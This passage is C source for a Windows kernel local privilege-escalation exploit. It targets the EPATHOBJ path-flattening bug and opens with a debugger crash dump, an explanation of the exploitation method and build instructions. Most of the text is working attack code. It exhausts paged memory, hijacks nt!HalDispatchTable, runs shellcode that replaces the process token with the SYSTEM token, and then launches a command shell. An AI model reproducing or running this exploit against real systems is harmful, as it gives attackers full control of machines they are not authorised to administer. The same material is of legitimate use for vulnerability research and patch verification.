77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo]) // 0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH]) // 0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo]) // kd> .trap a03aba2c // ErrCode = 00000002 // eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8 // eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc // cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286 // win32k!EPATHOBJ::pprFlattenRec+0x82: // 8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=???????? // kd> vertarget // Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible // Product: WinNt, suite: TerminalServer SingleUserTS // Built by: 9200.16581.x86fre.win8_gdr.130410-1505 // Machine Name: // Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48 // Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00) // System Uptime: 0 days 0:02:30.432 // kd> .bugcheck // Bugcheck code 00000050 // Arguments cccccccc 00000001 8f18972e 00000002 // // EXPLOITATION // // We're somewhat limited with what we can do, as we don't control what's // written, it's always a pointer to a PATHRECORD object. We can clobber a // function pointer, but the problem is making it point somewhere useful. // // The solution is to make the Next pointer a valid sequence of instructions, // which jumps to our second stage payload. We have to do that in just 4 bytes // (unless you can find a better call site, let me know if you spot one). // // Thanks to progmboy for coming up with the solution: you reach back up the // stack and pull a SystemCall parameter out of the stack. It turns out // NtQueryIntervalProfile matches this requirement perfectly. // // INSTRUCTIONS // // C:\> cl ComplexPath.c // C:\> ComplexPath // // You might need to run it several times before we get the allocation we need, // it won't crash if it doesn't work, so you can keep trying. I'm not sure how // to improve that. // // CREDIT // // Tavis Ormandy <taviso () cmpxchg8b com> // progmboy <programmeboy () gmail com> // POINT Points[MAX_POLYPOINTS]; BYTE PointTypes[MAX_POLYPOINTS]; HRGN Regions[MAX_REGIONS]; ULONG NumRegion = 0; HANDLE Mutex; DWORD Finished = 0; // Log levels. typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL; BOOL LogMessage(LEVEL Level, PCHAR Format, ...); // Copied from winddi.h from the DDK #define PD_BEGINSUBPATH 0x00000001 #define PD_ENDSUBPATH 0x00000002 #define PD_RESETSTYLE 0x00000004 #define PD_CLOSEFIGURE 0x00000008 #define PD_BEZIERS 0x00000010 typedef struct _POINTFIX { ULONG x; ULONG y; } POINTFIX, *PPOINTFIX; // Approximated from reverse engineering. typedef struct _PATHRECORD { struct _PATHRECORD *next; struct _PATHRECORD *prev; ULONG flags; ULONG count; POINTFIX points[4]; } PATHRECORD, *PPATHRECORD; PPATHRECORD PathRecord; PATHRECORD ExploitRecord; PPATHRECORD ExploitRecordExit; enum { SystemModuleInformation = 11 }; enum { ProfileTotalIssues = 2 }; typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256]; } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules[1]; } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; FARPROC NtQuerySystemInformation; FARPROC NtQueryIntervalProfile; FARPROC PsReferencePrimaryToken; FARPROC PsLookupProcessByProcessId; PULONG HalDispatchTable; ULONG HalQuerySystemInformation; PULONG TargetPid; PVOID *PsInitialSystemProcess; // Search the specified data structure for a member with CurrentValue. BOOL FindAndReplaceMember(PDWORD Structure, DWORD CurrentValue, DWORD NewValue, DWORD MaxSize) { DWORD i, Mask; // Microsoft QWORD aligns object pointers, then uses the lower three // bits for quick reference counting. Mask = ~7; // Mask out the reference count. CurrentValue &= Mask; // Scan the structure for any occurrence of CurrentValue. for (i = 0; i < MaxSize; i++) { if ((Structure[i] & Mask) == CurrentValue) { // And finally, replace it with NewValue. Structure[i] = NewValue; return TRUE; } } // Member not found. return FALSE; } // This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec. ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4) { PVOID TargetProcess; // Record that the exploit completed. Finished = 1; // Fix the corrupted HalDispatchTable, HalDispatchTable[1] = HalQuerySystemInformation; // Find the EPROCESS structure for the process I want to escalate if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) { PACCESS_TOKEN SystemToken; PACCESS_TOKEN TargetToken; // Find the Token object for my target process, and the SYSTEM process. TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess); SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess); // Find the token in the target process, and replace with the system token. FindAndReplaceMember((PDWORD) TargetProcess, (DWORD) TargetToken, (DWORD) SystemToken, 0x200); } return 0; } DWORD WINAPI WatchdogThread(LPVOID Parameter) { // Here we wait for the main thread to get stuck inside FlattenPath(). WaitForSingleObject(Mutex, CYCLE_TIMEOUT); // It looks like we've taken control of the list, and the main thread // is spinning in EPATHOBJ::bFlatten. We can't continue because // EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails. // So first, we clean up and make sure it can allocate memory. while (NumRegion) DeleteObject(Regions[--NumRegion]); // Now we switch out the Next pointer for our exploit record. As soon // as this completes, the main thread will stop spinning and continue // into EPATHOBJ::pprFlattenRec. InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); return 0; } // I use this routine to generate a table of acceptable stub addresses. The // 0x40 offset is the location of the PULONG parameter to // nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever // trick. VOID __declspec(naked) HalDispatchRedirect(VOID) { __asm inc eax __asm jmp dword ptr [ebp+0x40]; // 0 __asm inc ecx __asm jmp dword ptr [ebp+0x40]; // 1 __asm inc edx __asm jmp dword ptr [ebp+0x40]; // 2 __asm inc ebx __asm jmp dword ptr [ebp+0x40]; // 3 __asm inc esi __asm jmp dword ptr [ebp+0x40]; // 4 __asm inc edi __asm jmp dword ptr [ebp+0x40]; // 5 __asm dec eax __asm jmp dword ptr [ebp+0x40]; // 6 __asm dec ecx __asm jmp dword ptr [ebp+0x40]; // 7 __asm dec edx __asm jmp dword ptr [ebp+0x40]; // 8 __asm dec ebx __asm jmp dword ptr [ebp+0x40]; // 9 __asm dec esi __asm jmp dword ptr [ebp+0x40]; // 10 __asm dec edi __asm jmp dword ptr [ebp+0x40]; // 11 // Mark end of table. __asm { _emit 0 _emit 0 _emit 0 _emit 0 } } int main(int argc, char **argv) { HANDLE Thread; HDC Device; ULONG Size; ULONG PointNum; HMODULE KernelHandle; PULONG DispatchRedirect; PULONG Interval; ULONG SavedInterval; RTL_PROCESS_MODULES ModuleInfo; LogMessage(L_INFO, "\r--------------------------------------------------\n" "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n" "\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n" "\n"); NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile"); NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation"); Mutex = CreateMutex(NULL, FALSE, NULL); DispatchRedirect = (PVOID) HalDispatchRedirect; Interval = (PULONG) ShellCode; SavedInterval = Interval[0]; TargetPid = GetCurrentProcessId(); LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile); LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation); // Lookup the address of system modules. NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL); LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p", ModuleInfo.Modules[0].FullPathName, ModuleInfo.Modules[0].ImageBase); // Lookup some system routines we require. KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName); HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; // Search for a ret instruction to install in the damaged HalDispatchTable. HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize) - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation); // Create our PATHRECORD in user space we will get added to the EPATHOBJ // pathrecord chain. PathRecord = VirtualAlloc(NULL, sizeof *PathRecord, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord); // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite // loop in EPATHOBJ::bFlatten(). PathRecord->flags = 0; PathRecord->next = PathRecord; PathRecord->prev = (PPATHRECORD)(0x42424242); LogMessage(L_INFO, " ->next @ %p", PathRecord->next); LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev); LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags); // Now we need to create a PATHRECORD at an address that is also a valid // x86 instruction, because the pointer will be interpreted as a function. // I've created a list of candidates in DispatchRedirect. LogMessage(L_INFO, "Searching for an available stub address..."); // I need to map at least two pages to guarantee the whole structure is // available. while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1), PAGE_SIZE * 2, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) { LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x", *DispatchRedirect & ~(PAGE_SIZE - 1), GetLastError()); // This page is not available, try the next candidate. if (!*++DispatchRedirect) { LogMessage(L_ERROR, "No redirect candidates left, sorry!"); return 1; } } LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect); // This PATHRECORD must terminate the list and recover. ExploitRecordExit = (PPATHRECORD) *DispatchRedirect; ExploitRecordExit->next = NULL; ExploitRecordExit->prev = NULL; ExploitRecordExit->flags = PD_BEGINSUBPATH; ExploitRecordExit->count = 0; LogMessage(L_INFO, " ->next @ %p", ExploitRecordExit->next); LogMessage(L_INFO, " ->prev @ %p", ExploitRecordExit->prev); LogMessage(L_INFO, " ->flags @ %u", ExploitRecordExit->flags); // This is the second stage PATHRECORD, which causes a fresh PATHRECORD // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will // be copied over to the new record. Therefore, we get // // nt!HalDispatchTable[1] = &ExploitRecordExit. // // So we make &ExploitRecordExit a valid sequence of instuctions here. LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord); ExploitRecord.next = (PPATHRECORD) *DispatchRedirect; ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1]; ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH; ExploitRecord.count = 4; LogMessage(L_INFO, " ->next @ %p", ExploitRecord.next); LogMessage(L_INFO, " ->prev @ %p", ExploitRecord.prev); LogMessage(L_INFO, " ->flags @ %u", ExploitRecord.flags); LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4); // Generate a large number of Belier Curves made up of pointers to our // PATHRECORD object. for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = (ULONG)(PathRecord) >> 4; Points[PointNum].y = (ULONG)(PathRecord) >> 4; PointTypes[PointNum] = PT_BEZIERTO; } // Switch to a dedicated desktop so we don't spam the visible desktop with // our Lines (Not required, just stops the screen from redrawing slowly). SetThreadDesktop(CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL)); // Get a handle to this Desktop. Device = GetDC(NULL); // Take ownership of Mutex WaitForSingleObject(Mutex, INFINITE); // Spawn a thread to cleanup Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL); LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle"); // We need to cause a specific AllocObject() to fail to trigger the // exploitable condition. To do this, I create a large number of rounded // rectangular regions until they start failing. I don't think it matters // what you use to exhaust paged memory, there is probably a better way. // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // failure. Seriously, do some damn QA Microsoft, wtf. for (Size = 1 << 26; Size; Size >>= 1) { while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) NumRegion++; } LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion); LogMessage(L_INFO, "Flattening curves..."); for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); // Test if exploitation succeeded. NtQueryIntervalProfile(ProfileTotalIssues, Interval); // Repair any damage. *Interval = SavedInterval; EndPath(Device); } if (Finished) { LogMessage(L_INFO, "Success, launching shell...", Finished); ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW); LogMessage(L_INFO, "Press any key to exit..."); getchar(); ExitProcess(0); } // If we reach here, we didn't trigger the condition. Let the other thread know. ReleaseMutex(Mutex); WaitForSingleObject(Thread, INFINITE); ReleaseDC(NULL, Device); // Try again... LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)"); LogMessage(L_INFO, "Press any key to exit..."); getchar(); ExitProcess(1); } // A quick logging routine for debug messages. BOOL LogMessage(LEVEL Level, PCHAR Format, ...) { CHAR Buffer[1024] = {0}; va_list Args; va_start(Args, Format); vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args); va_end(Args); switch (Level) { case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break; case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break; case L_WARN: fprintf(stderr, "[*] %s\n", Buffer); break; case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break; } fflush(stdout); fflush(stderr); return TRUE; }